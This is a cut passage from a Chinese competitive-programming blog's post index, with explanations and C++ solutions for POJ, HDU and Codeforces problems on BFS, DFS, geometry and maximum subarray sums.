29 typedef long long LL; 30 typedef unsigned long long ULL; 31 const int N =1E4+5; 32 int pri[N],which[N]; 33 int a,b,k; 34 bool flag; 35 int d[N]; 36 bool prime(int x) 37 { 38 for ( int i = 2 ; i*i\u003c=x ;i++ ) 39 { 40 if (x %i==0) return false; 41 } 42 return true; 43 } 44 45 bool ok (int x,int y) 46 { 47 if (d[y]!=-1) return false; 48 int res = 0; //记录两个数不对应不相等的数字的个数 49 int xx=x,yy=y; 50 while (x\u0026\u0026y) 51 { 52 if (x!=y) res++; 53 x = x/10; 54 y = y/10; 55 } 56 // if (res==1) cout\u003c\u003c\"x:\"\u003c\u003cxx\u003c\u003c\" y:\"\u003c\u003cyy\u003c\u003cendl; 57 if (res==1) return true; 58 return false; 59 } 60 void bfs() 61 { 62 queue\u003cint\u003ex; 63 memset(d,-1,sizeof(d)); 64 x.push(a); 65 d[a]=0; 66 while (!x.empty()) 67 { 68 int px = x.front(); 69 // cout\u003c\u003c\"px:\"\u003c\u003cpx\u003c\u003cendl; 70 x.pop(); 71 if (px==b) return; 72 for ( int i = ","date":"2015-07-24","externalUrl":null,"permalink":"/2015/07/poj3126/","section":"Posts","summary":"http://poj.org/problem?id=3126 题意是说,给定两个四位素数a b 问从a变换到b,最少需要变换几次. 变换的要求是,每次只能改变一个数字,而且中间过程得到的四位数也必须为素数. 因为提到最少变换几次,容易想到bfs,bfs第一次搜到的一定是最短步数.","tags":["bfs"],"title":"poj 3126 Prime Path (bfs)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3279 反转类问题. 有N*M个方格,每个上面有数字0或者1 操作一个方格,这个方格即其相邻的四个方格(有公共边)会改变状态(由0变1或者由1变0) 问至少需要多少次操作,所有的状态都为0 如果有多组,输出字典序小的那一组. 跟开关灯的那题相似. 因为每个开关灯的动作还影响其他相邻灯的状态.所以对于这种题,一般思路是,先定住一部分,再由已知定住的这部分去确定其他部分. 对于这道题而言 首先我们可以很容易发现,操作数为偶数和为0是等价的. 操作数为1和为奇数是等价的. 对于这道题而言,我们可以首先枚举第一行的状态,一共有 2\u003c 然后如果 a[i-1][j]为1,因为i-1行的状态已经确定,无法改变,所以能影响到a[i-1][j]的只有a[i][j] 那么a[i][j]一定要操作一次 最后判断最后一行是否都为0,如果为0,表示这种情况是合法的 然后找到操作数最小的一组. 字典序的话,只要是枚举的时候按照数的大小顺序就可以保证. 学会了用memcpy函数. 1 2 #include\u003ciostream\u003e 3 #include\u003ciomanip\u003e 4 #include\u003ccstdio\u003e 5 #include\u003calgorithm\u003e 6 #include\u003ccmath\u003e 7 #include\u003ccstring\u003e 8 #include\u003cstring\u003e 9 #include\u003cmap\u003e 10 #include\u003cset\u003e 11 #include\u003cqueue\u003e 12 #include\u003cvector\u003e 13 #include\u003cstack\u003e 14 #define y0 abc111qqz 15 #define y1 hust111qqz 16 #define yn hez111qqz 17 #define j1 cute111qqz 18 #define tm crazy111qqz 19 #define lr dying111qqz 20 using namespace std; 21 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 22 typedef long long LL; 23 typedef unsigned long long ULL; 24 const int N=20; 25 int a[N][N],ans[N][N],op[N][N]; 26 int m,n; 27 int dirx[10]={0,0,0,-1,1}; 28 int diry[10]={0,1,-1,0,0}; 29 int rec[N][N]; 30 void solve(int x,int y) 31 { 32 for ( int i = 0 ; i \u003c 5 ; i++ ) 33 { 34 int newx = x + dirx[i]; 35 int newy = y + diry[i]; 36 if (newx\u003e=1\u0026\u0026newx\u003c=m\u0026\u0026newy\u003e=1\u0026\u0026newy\u003c=n) 37 { 38 a[newx][newy]=a[newx][newy]^1; 39 } 40 } 41 } 42 bool on (int x,int y) 43 { 44 int res = a[x][y]; 45 for ( int i = 0 ; i \u003c 5 ; i++ ) 46 { 47 int newx = x + dirx[i]; 48 int newy = y + diry[i]; 49 if (newx\u003e=1\u0026\u0026newx\u003c=m\u0026\u0026newy\u003e=1\u0026\u0026newy\u003c=n) 50 { 51 res = res+op[newx][newy]; 52 } 53 54 } 55 return res\u00261; 56 } 57 int main() 58 { 59 cin\u003e\u003em\u003e\u003en; 60 int mi = 9999999; 61 memset(rec,0,sizeof(rec)); 62 for ( int i = 1 ; i \u003c= m ; i++ ) 63 { 64 for (int j = 1 ; j \u003c= n ; j++) 65 { 66 cin\u003e\u003ea[i][j]; 67 } 68 } 69 bool fla","date":"2015-07-23","externalUrl":null,"permalink":"/2015/07/poj3279/","section":"Posts","summary":"http://poj.org/problem?id=3279 反转类问题. 有N*M个方格,每个上面有数字0或者1 操作一个方格,这个方格即其相邻的四个方格(有公共边)会改变状态(由0变1或者由1变0)","tags":["brute force"],"title":"poj 3279 Fliptile (搜索..暴力？)","type":"post"},{"categories":["ACM"],"content":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=83295#problem/I 最多18个点，选3个点，能够成的三角形不超过1000个，O(n2)暴力就可以。 思路就是枚举三个点点，对于每一个构成的三角形，把这个三角形的最小角和次小角存起来。 然后枚举三角形，判断是否有两个三角形的最小角和次小角分别对应相等。 需要注意的是题目中问的是相似三角形的最大个数 如果A B 相似 C D 相似，但是B C 不相似，答案应该是2. 还有三角形自身和自身是相似的。 一开始求角度的时候只求了cos值，忘了求下acos了。 需要注意的是，枚举的到时候，三个点可能共线，这个还挺好，题目中说的是“** you may get a triangle**” may算是提示了 如果共线，就不能构成三角形，何谈相似？ 我共线的判断是用斜率搞的，特判下斜率不存在的情况（三个点的横坐标都相同） 然后又交，又WA….妈蛋。。。 然后想，会不会是他射到了同一个点上？ 不管多少次射到同一个点上，就只会出现一个hole，也就算作一个点。 于是判重。 判重还没写全。 一开始只把因为重复而不能构成三角形的情况给cut掉了 就是枚举的三个点有至少两个一样，这个时候实际上只有两个点，所以不能够成三角形。 但是马上就发现，对于能构成的三角形的情况，一个点重复了几次，就算了几次，而实际上应该只算一次。 所以改在枚举之前判重。 至于精度问题，我是没遇到。。。 相等都是写成\u003c=eqs 的形式了。。。 注意是fabs而不是abs 最后终于A了。 1 2 3 4 /* *********************************************** 5 Author :111qqz 6 Created Time :2016年03月03日 星期四 14时43分22秒 7 File Name :code/hdu/4082.cpp 8 ************************************************ */ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 #define y0 abc111qqz 23 #define y1 hust111qqz 24 #define yn hez111qqz 25 #define j1 cute111qqz 26 #define tm crazy111qqz 27 #define lr dying111qqz 28 using namespace std; 29 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 30 typedef long long LL; 31 typedef unsigned long long ULL; 32 const double eqs = 1E-6; 33 const int N = 25; 34 const int inf = 0x7fffffff; 35 int x[N],y[N]; 36 int n; 37 double an[2000][5]; 38 struct Q 39 { 40 int xx,yy; 41 }q[N]; 42 double dis(int a,int b) 43 { 44 double res; 45 res = (x[a]-x[b])*(x[a]-x[b])+(y[a]-y[b])*(y[a]-y[b]); 46 res = sqrt(res); 47 return res; 48 } 49 double angle(double a,double b,double c) 50 { 51 double res; 52 res = ","date":"2015-07-22","externalUrl":null,"permalink":"/2015/07/hdu4082/","section":"Posts","summary":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=83295#problem/I 最多18个点，选3个点，能够成的三角形不超过1000个，O(n2)暴力就可以。","tags":["计算几何"],"title":"hdu 4082 I Hou Yi's secret （计算几何）","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=2398 题意大概是说将一个盒子用n个board分成n+1 部分 然后往里面放toy,给定盒子,board,和toy的坐标 问所有的toy放完后,有多少部分中有t个toy; 简单计算几何 需要判断的是点和直线的关系. 判断 某一点在直线左右侧 左右方向是相对前进方向的,只要指定了前进方向就可以知道左右(比如指定前进方向是从直线的起点到终点).判断点在直线的左侧还是右侧是计算几何里面的一个最基本算法.使用矢量来判断. 定义：平面上的三点P1(x1,y1),P2(x2,y2),P3(x3,y3)的面积量： ** S(P1,P2,P3)=|y1 y2 y3|= (x1-x3)(y2-y3)-(y1-y3)(x2-x3) 当P1P2P3逆时针时S为正的，当P1P2P3顺时针时S为负的。 令矢量的起点为A，终点为B，判断的点为C， 如果S（A，B，C）为正数，则C在矢量AB的左侧； 如果S（A，B，C）为负数，则C在矢量AB的右侧； 如果S（A，B，C）为0，则C在直线AB上。** 1 2 3 4 5 6 /************************************************************************* 7 \u003e File Name: code/poj/2398.cpp 8 \u003e Author: 111qqz 9 \u003e Email: rkz2013@126.com 10 \u003e Created Time: 2015年11月08日 星期日 10时04分32秒 11 ************************************************************************/ 12 #include\u003ciostream\u003e 13 #include\u003ciomanip\u003e 14 #include\u003ccstdio\u003e 15 #include\u003calgorithm\u003e 16 #include\u003ccmath\u003e 17 #include\u003ccstring\u003e 18 #include\u003cstring\u003e 19 #include\u003cmap\u003e 20 #include\u003cset\u003e 21 #include\u003cqueue\u003e 22 #include\u003cvector\u003e 23 #include\u003cstack\u003e 24 using namespace std; 25 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 26 typedef long long LL; 27 typedef unsigned long long ULL; 28 const int N=2E3+5; 29 struct node 30 { 31 int x,y; 32 }; 33 struct node rec,rec2; 34 struct node par[N],par2[N]; 35 struct node toy[N]; 36 int ans[N],cnt[N]; 37 int n,m; 38 bool judge(node p1,node p2,node p3) //判断点是否在直线的[右侧!!] 39 { 40 int s = (p1.x-p3.x)*(p2.y-p3.y)-(p1.y-p3.y)*(p2.x-p3.x); 41 if (s\u003e0) return false; 42 if (s\u003c0) return true; 43 } 44 bool cmp(node a,node b) 45 { 46 if (a.x\u003cb.x) return true; 47 if (a.x==b.x\u0026\u0026a.y\u003cb.y) return true; 48 return false; 49 } 50 int main() 51 { 52 // freopen(\"in.txt\",\"r\",stdin); 53 while (scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n) 54 { 55 memset(ans,0,sizeof(ans)); 56 memset(par,0,sizeof(par)); 57 memset(par2,0,sizeof(par2)); 58 memset(toy,0","date":"2015-07-21","externalUrl":null,"permalink":"/2015/07/poj2398/","section":"Posts","summary":"http://poj.org/problem?id=2398 题意大概是说将一个盒子用n个board分成n+1 部分 然后往里面放toy,给定盒子,board,和toy的坐标","tags":["计算几何"],"title":"poj 2398 Toy Storage (计算几何,判断点和线段关系)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=2251 简单bfs，只不过是三维的。。。 唯一的坑点在输出上… Escaped in %d minute(s) 这意思是答案为1输出minute,不为1输出minutes还是说是不是1都输出minute(s)? 试了下，答案是后者。 另：终于找到了好的读地图的方法。。。而不用担心回车符。 就是先读成字符串。 具体见代码 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/searching/B.cpp 5 \u003e Author: 111qqz 6 \u003e Email: rkz2013@126.com 7 \u003e Created Time: 2015年07月17日 星期五 16时47分46秒 8 ************************************************************************/ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 using namespace std; 23 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 24 typedef long long LL; 25 typedef unsigned long long ULL; 26 const int N=40; 27 char st[N][N][N]; 28 int d[N][N][N]; 29 int l,r,c; 30 int sx,sy,sz,tx,ty,tz; 31 int dirx[6]={1,-1,0,0,0,0}; 32 int diry[6]={0,0,-1,1,0,0}; 33 int dirz[6]={0,0,0,0,1,-1}; 34 35 bool ok(int x,int y,int z) 36 { 37 if (z\u003e=0\u0026\u0026z\u003cl\u0026\u0026x\u003e=0\u0026\u0026x\u003cr\u0026\u0026y\u003e=0\u0026\u0026y\u003cc\u0026\u0026d[z][x][y]==-1\u0026\u0026st[z][x][y]!='#') 38 return true; 39 return false; 40 } 41 42 void bfs() 43 { 44 memset(d,-1,sizeof(d)); 45 queue\u003cint\u003ex; 46 queue\u003cint\u003ey; 47 queue\u003cint\u003ez; 48 x.push(sx); 49 y.push(sy); 50 z.push(sz); 51 d[sz][sx][sy]=0; 52 while (!x.empty()\u0026\u0026!y.empty()\u0026\u0026!z.empty()) 53 { 54 int prex = x.front();x.pop(); 55 int prey = y.front();y.pop(); 56 int prez = z.front();z.pop(); 57 for ( int i = 0 ; i \u003c 6 ; i++ ) 58 { 59 int newx = prex+dirx[i]; 60 int newy = prey+diry[i]; 61 int newz = prez+dirz[i]; 62 bool flag = ok(newx,newy,newz); 63 if (flag) 64 { 65 d[newz][newx][newy]=d[prez][prex][prey]+1; 66 x.push(newx); 67 y.push(newy); 68 z.push(newz); 69 } 70 } 71 72 } ","date":"2015-07-21","externalUrl":null,"permalink":"/2015/07/poj2251/","section":"Posts","summary":"http://poj.org/problem?id=2251 简单bfs，只不过是三维的。。。 唯一的坑点在输出上…","tags":["bfs"],"title":"poj 2251 Dungeon Master (三维bfs)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/558/problem/C 题目大意是说，给定N个数，可以对任意数进行任意次两种操作，×2，和/2（整除） 问最少操作多少次，可以让所有数相等。 嘛，前半个小时A掉了前两个提，d E貌似都是线段树。。并不会。。。就一直搞C。。。。 然而并没有做出来。位运算是什么神奇的黑魔法。 转载一份题解：http://blog.csdn.net/qq_24451605/article/details/46906813 思路是声明两个数组，一个数组表示到达i的步数，另一个数组表示n个数中能够达到i的数的个数（包括本身） 1 2 /************************************************************************* 3 \u003e File Name: code/#312C.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: Mon 20 Jul 2015 11:36:50 PM CST 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 using namespace std; 22 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 23 typedef long long LL; 24 typedef unsigned long long ULL; 25 const int N= 1E5+7; 26 const int inf = 0x7fffffff; 27 int a[N]; 28 int vis[N],step[N]; 29 bool cmp (int a,int b) 30 { 31 if (a\u003eb) return true; 32 return false; 33 } 34 int main() 35 { 36 int n; 37 cin\u003e\u003en; 38 int mx = -1; 39 memset(vis,0,sizeof(vis)); 40 memset(step,0,sizeof(step)); 41 42 for ( int i = 1 ; i \u003c= n ; i++ ) 43 { 44 cin\u003e\u003ea[i]; 45 if (a[i]\u003emx) 46 mx = a[i]; 47 } 48 for ( int i = 1 ; i \u003c= n ; i++ )f 49 { 50 int tmp = a[i]; 51 int num = 0; 52 while (tmp\u003c=mx) 53 { 54 step[tmp]+=num; //到达tmp需要的操作数是之前的数到达tmo的操作数加上当前 55 vis[tmp]++; //能够到达i的数的个数存在vis数组 56 num++; 57 tmp = tmp \u003c\u003c 1; 58 } 59 num = 0; 60 int tmpa = a[i]; 61 while (tmpa) 62 { 63 if (tmpa\u00261\u0026\u0026tmpa!=1) //a[i]\u00261为真当且仅当a[i]的二进制表示的最后一位是1，即a[i]为奇数 64 { //但是如果a[i]为1，/2为0，就无法变大了。 65 int tmp = (tmpa\u003e\u003e1)\u003c\u003c1; 66 int sum = num + 2; //奇数a[i]变为偶数a[i]-1的需要两步。 67 while (tmp\u003c=mx) //再从a[i]-1扩展下去，看能达到哪些","date":"2015-07-21","externalUrl":null,"permalink":"/2015/07/cf558c/","section":"Posts","summary":"http://codeforces.com/contest/558/problem/C 题目大意是说，给定N个数，可以对任意数进行任意次两种操作，×2，和/2（整除）","tags":["brute force","greedy"],"title":"codeforces 558c Amr and Chemistry (贪心)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1564 dfs 三个参数 x,sum,k, x表示开始的坐标,sum表示当前的和,k表示这是一组答案中的第几个数,是用来记录路径的… 调了好久没写出来…我写完之后答案会有重复.一开始想开一个boolean数组记录,这样第一组样例的3+1就只会输出一遍,但是这样,2+2就不会被记录到答案中了. 然后看了下别人的代码… 卧槽,只是加了个判断…当前的数和上一个如果不同,就继续dfs…. 我为何就没想到…这特么是判断重复的直译啊…. 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/0714/K.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月16日 星期四 01时03分01秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 using namespace std; 22 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 23 typedef long long LL; 24 typedef unsigned long long ULL; 25 const int N=20; 26 int n,t; 27 int a[N]; 28 int ans; 29 int k; 30 int rec[N]; 31 bool vis[105]; 32 bool ok; 33 void dfs(int x,int sum,int k) 34 { 35 if (sum==t) 36 { 37 ok=true; 38 for ( int i = 0 ; i \u003c k ; i++) 39 { 40 if (i) 41 { 42 printf(\"+%d\",rec[i]); 43 } 44 else 45 { 46 printf(\"%d\",rec[i]); 47 } 48 } 49 printf(\"\\n\"); 50 return; 51 } 52 int pre = -1; 53 for ( int i = x ; i \u003c n ; i++) 54 { 55 if (sum+a[i]\u003c=t\u0026\u0026a[i]!=pre) 56 { 57 pre = a[i]; 58 rec[k] = a[i]; 59 dfs(i+1,sum+a[i],k+1); 60 } 61 } 62 } 63 int main() 64 { 65 while (scanf(\"%d %d\",\u0026t,\u0026n)!=EOF\u0026\u0026n) 66 { 67 ok = false; 68 memset(vis,false,sizeof(vis)); 69 ans = 0 ; 70 k = 0; 71 for ( int i = 0 ; i \u003c n ; i++) 72 scanf(\"%d\",\u0026a[i]); 73 printf(\"Sums of %d:\\n\",t); 74 dfs(0,0,0); 75 if (!ok) printf(\"NONE\\n\"); 76 } 77 78 return 0; 79 }","date":"2015-07-17","externalUrl":null,"permalink":"/2015/07/poj1564/","section":"Posts","summary":"http://poj.org/problem?id=1564 dfs 三个参数 x,sum,k, x表示开始的坐标,sum表示当前的和,k表示这是一组答案中的第几个数,是用来记录路径的…","tags":["dfs"],"title":"POJ 1564 Sum It Up (DFS+剪枝）","type":"post"},{"categories":["ACM"],"content":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=82557#problem/A Zk的解法：拆点，把每一个点存成两份，r[i]和r[n+i] 连边的时候如果u和v相连，我们就分别连 u\u0026\u0026v; 和 u+n\u0026\u0026v;+n 和 u\u0026\u0026v;+n 其中最后一个存法是要使用魔法的情况… 最后求从1到n+n的最短路径即可 如图 斜着的边表示使用魔法的情况。 由1到n+n，只经过一次斜边，这是与题干中只使用一次魔法相对应的…. 由于权值变成一半可能出现浮点数… 我们不妨先 权值先整体*2 最后结果的时候再/2 zk好聪明（逃） 然后还有一种是鲍佳学长的dp思想的算法….. http://www.cnblogs.com/chensunrise/p/3721427.html 然而dp渣…..","date":"2015-07-13","externalUrl":null,"permalink":"/2015/07/hust20150713/","section":"Posts","summary":"http://acm.hust.edu.cn/vjudge/contest/view.action?cid=82557#problem/A Zk的解法：拆点，把每一个点存成两份，r[i]和r[n+i]","tags":["算法竞赛"],"title":"hust2015暑假集训 0713 A  a dangerous trip","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/556/problem/C 果然一晚上不睡觉会导致读错题么… 需要注意的是 如果有一个是 1 2 4 6 那么 1,2是不必拆开的…. 然后我们发现,只有以1为开始且连续的套娃不必拆开…. 可以先假设所有都需要拆开,那么一共需要 2*n-k-1次 然后如果有以1为开始连续的,拆的时候少拆一次,装的时候少装一次,所以ans=ans-2 但是需要注意的是….如果只有一个1,比如1 3 5 也算成了长度为1的以1开始连续的,但是这并没有什么卵用….所以最后答案记得ans+2 1 2/************************************************************************* 3 \u003e File Name: code/cf/556C.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月12日 星期日 10时24分54秒 7 ************************************************************************/ 8 9#include\u003ciostream\u003e 10#include\u003ciomanip\u003e 11#include\u003ccstdio\u003e 12#include\u003calgorithm\u003e 13#include\u003ccmath\u003e 14#include\u003ccstring\u003e 15#include\u003cstring\u003e 16#include\u003cmap\u003e 17#include\u003cset\u003e 18#include\u003cqueue\u003e 19#include\u003cvector\u003e 20#include\u003cstack\u003e 21using namespace std; 22typedef long long LL; 23typedef unsigned long long ULL; 24const int N=1E5+7; 25int a[N],m[N]; 26LL n,k,ans; 27int main() 28{ 29 cin\u003e\u003en\u003e\u003ek; 30 ans = 2*n-k+1; 31 for (int i = 0 ; i \u003c k ; i++ ) 32 { 33 scanf(\"%d\",\u0026m[i]); 34 for (int j = 0 ; j \u003c m[i];j++) 35 { 36 scanf(\"%d\",\u0026a[j]); 37 if (a[j]==j+1) 38 ans = ans -2; 39 40 } 41 } 42 cout\u003c\u003cans\u003c\u003cendl; 43 return 0; 44}","date":"2015-07-12","externalUrl":null,"permalink":"/2015/07/cf556/","section":"Posts","summary":"http://codeforces.com/contest/556/problem/C 果然一晚上不睡觉会导致读错题么… 需要注意的是 如果有一个是 1 2 4 6 那么 1,2是不必拆开的….","tags":["算法竞赛"],"title":"cf 556C Case of Matryoshkas","type":"post"},{"categories":["ACM"],"content":"最大连续区间和是一个经典的问题。给定一个长度为 n 的序列 a[1],a[2]…a[n-1],a[n]，求一个连续的子序列 a[i],a[i+1]…a[j-1],a[j]，使得 a[i]+a[i+1]…a[j-1]+a[j]最大。 ① 最简单最容易想到的就是根据定义来枚举。 枚举上下界{i,j | 0\u003c=i\u003c=j\u003c=n}，维护一个 max 值即可。 其中枚举上下界的时间复杂度为 O(n^2)，求区间和的复杂度为 O(n)，所以总时间复杂度为 O(n^3)。 1for ( i = 1 ; i \u003c= n ; i++ ) 2for ( j = i ; j \u003c= n ; j++ ) 3ans = max(ans,accumulate(a+i,a+j+1,0)); ② 其实就是第一种方法的优化。 这里有个很容易想到的优化，即预处理出前缀和 sum[i]=a[0]+a[1]+…+a[i-1]+a[i]，算区间和的时候即可将求区间和的复杂度降到 O(1)，枚举上下界的复杂度不变，所以总时间复杂度为 O(n^2)。 1for ( i = 1 ; i \u003c= n ; i++ ) 2sum[i]=sum[i-1]+a[i]; 3for ( i = 1 ; i \u003c= n ; i++ ) 4for ( j = i ; j \u003c= n ; j++ ) 5ans = max(ans,sum[j]-sum[i-1]); ③ 可以利用动态规划的思维来继续优化，得到一个线性的算法，也是最大连续区间和的标准算法 定义 maxn[i]为以 i 为结尾的最大连续和，则很容易找到递推关系：maxn[i]=max{0,maxn[i-1]}+a[i]。 所以只需要扫描一遍即可，总时间复杂度为 O(n)。 1for ( i = 1 ; i \u003c= n ; i++ ) 2{ 3last = max(0,last)+a[i]; 4ans = max(ans,last); 5} ④ 同样用到类似的思维。 首先也需要预处理出前缀和 sum[i]，可以推出 ans=max{sum[i]-min{sum[j] } | 0\u003c=j\u003ci}，而最小前缀和可以动态维护，所以总时间复杂度为 O(n)。 1for ( i = 1 ; i \u003c= n ; i++ ) 2 sum[i]=sum[i-1]+a[i]; 3for ( i = 1 ; i \u003c= n ; i++ ) 4{ 5 ans = max(ans,sum[i]-minn); 6 minn = min(minn,sum[i]); 7} 总结：虽然朴素的O(n^3)和前缀和优化的O(n^2)算法很容易想到，但代码实现却反而比方法三麻烦，第四个方法虽然有和方法三相同的复杂度，但需要一个预处理和多出的O(n)的空间，所以，方法三很好很强大。","date":"2015-07-11","externalUrl":null,"permalink":"/2015/07/Maximum-interval-continuous-sum/","section":"Posts","summary":"最大连续区间和是一个经典的问题。给定一个长度为 n 的序列 a[1],a[2]…a[n-1],a[n]，求一个连续的子序列 a[i],a[i+1]…a[j-1],a[j]，使得 a[i]+a[i+1]…a[j-1]+a[j]最大。","tags":["算法竞赛"],"title":"最大连续区间和的算法总结","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3278 bfs,用到了stl的queue 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时45分05秒 6 File Name :3278.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 #include \u003cstack\u003e 17 #include \u003cqueue\u003e 18 19 using namespace std; 20 typedef long long LL; 21 const int inf = 8E8; 22 const int N=2E5+7; 23 int d[N]; 24 int n,k; 25 void bfs() 26 { 27 queue\u003cint\u003e q; 28 memset(d,-1,sizeof(d)); 29 q.push(n); 30 d[n]=0; 31 while (!q.empty()) 32 { 33 int x = q.front(); 34 q.pop(); 35 if ( x==k ) 36 { 37 break; 38 } 39 int next[10]; 40 next[1]=x-1; 41 next[2]=x+1; 42 next[3]=2*x; 43 for ( int i = 1; i \u003c= 3 ; i++ ) 44 { 45 if (next[i]\u003e=0\u0026\u0026next[i]\u003c=100000\u0026\u0026d[next[i]]==-1) 46 { 47 d[next[i]]=d[x]+1; 48 q.push(next[i]); 49 } 50 } 51 } 52 53 54 } 55 int main() 56 { 57 while (scanf(\"%d %d\",\u0026n,\u0026k)!=EOF) 58 { 59 bfs(); 60 cout\u003c\u003cd[k]\u003c\u003cendl; 61 } 62 return 0; 63 }","date":"2015-07-08","externalUrl":null,"permalink":"/2015/07/poj3278/","section":"Posts","summary":"http://poj.org/problem?id=3278 bfs,用到了stl的queue 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时45分05秒 6 File Name :3278.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 #include \u003cstack\u003e 17 #include \u003cqueue\u003e 18 19 using namespace std; 20 typedef long long LL; 21 const int inf = 8E8; 22 const int N=2E5+7; 23 int d[N]; 24 int n,k; 25 void bfs() 26 { 27 queue\u003cint\u003e q; 28 memset(d,-1,sizeof(d)); 29 q.push(n); 30 d[n]=0; 31 while (!q.empty()) 32 { 33 int x = q.front(); 34 q.pop(); 35 if ( x==k ) 36 { 37 break; 38 } 39 int next[10]; 40 next[1]=x-1; 41 next[2]=x+1; 42 next[3]=2*x; 43 for ( int i = 1; i \u003c= 3 ; i++ ) 44 { 45 if (next[i]\u003e=0\u0026\u0026next[i]\u003c=100000\u0026\u0026d[next[i]]==-1) 46 { 47 d[next[i]]=d[x]+1; 48 q.push(next[i]); 49 } 50 } 51 } 52 53 54 } 55 int main() 56 { 57 while (scanf(\"%d %d\",\u0026n,\u0026k)!=EOF) 58 { 59 bfs(); 60 cout\u003c\u003cd[k]\u003c\u003cendl; 61 } 62 return 0; 63 }","tags":["bfs"],"title":"poj 3278 catch that cow","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1028 1 2 3 4 /* *********************************************** 5 Author :111qqz 6 Created Time :2016年02月19日 星期五 15时45分01秒 7 File Name :1028.cpp 8 ************************************************ */ 9 10 #include \u003calgorithm\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ciostream\u003e 13 #include \u003ccstring\u003e 14 #include \u003cstring\u003e 15 #include \u003ccmath\u003e 16 #include \u003cmap\u003e 17 #include \u003cstack\u003e 18 #include \u003cqueue\u003e 19 20 using namespace std; 21 typedef long long LL; 22 const int inf = 8E8; 23 stack\u003cstring\u003e backstack; 24 stack\u003cstring\u003e forwardstack; 25 string cur; 26 string cmd; 27 int main() 28 { 29 cur =\"http://www.acm.org/\"; 30 31 while (cin\u003e\u003ecmd) 32 { 33 if (cmd==\"QUIT\") 34 { 35 break; 36 } 37 if (cmd==\"BACK\") 38 { 39 if (backstack.empty()) 40 { 41 cout\u003c\u003c\"Ignored\"\u003c\u003cendl; 42 continue; 43 } 44 forwardstack.push(cur); 45 cur=backstack.top(); 46 backstack.pop(); 47 cout\u003c\u003ccur\u003c\u003cendl; 48 } 49 if (cmd==\"FORWARD\") 50 { 51 if (forwardstack.empty()) 52 { 53 cout\u003c\u003c\"Ignored\"\u003c\u003cendl; 54 continue; 55 } 56 backstack.push(cur); 57 cur=forwardstack.top(); 58 forwardstack.pop(); 59 cout\u003c\u003ccur\u003c\u003cendl; 60 } 61 if (cmd==\"VISIT\") 62 { 63 backstack.push(cur); 64 65 cin\u003e\u003ecur; 66 while (!forwardstack.empty()) forwardstack.pop(); 67 cout\u003c\u003ccur\u003c\u003cendl; 68 69 } 70 } 71 72 73 return 0; 74 }","date":"2015-07-08","externalUrl":null,"permalink":"/2015/07/poj1028/","section":"Posts","summary":"http://poj.org/problem?id=1028 1 2 3 4 /* *********************************************** 5 Author :111qqz 6 Created Time :2016年02月19日 星期五 15时45分01秒 7 File Name :1028.cpp 8 ************************************************ */ 9 10 #include \u003calgorithm\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ciostream\u003e 13 #include \u003ccstring\u003e 14 #include \u003cstring\u003e 15 #include \u003ccmath\u003e 16 #include 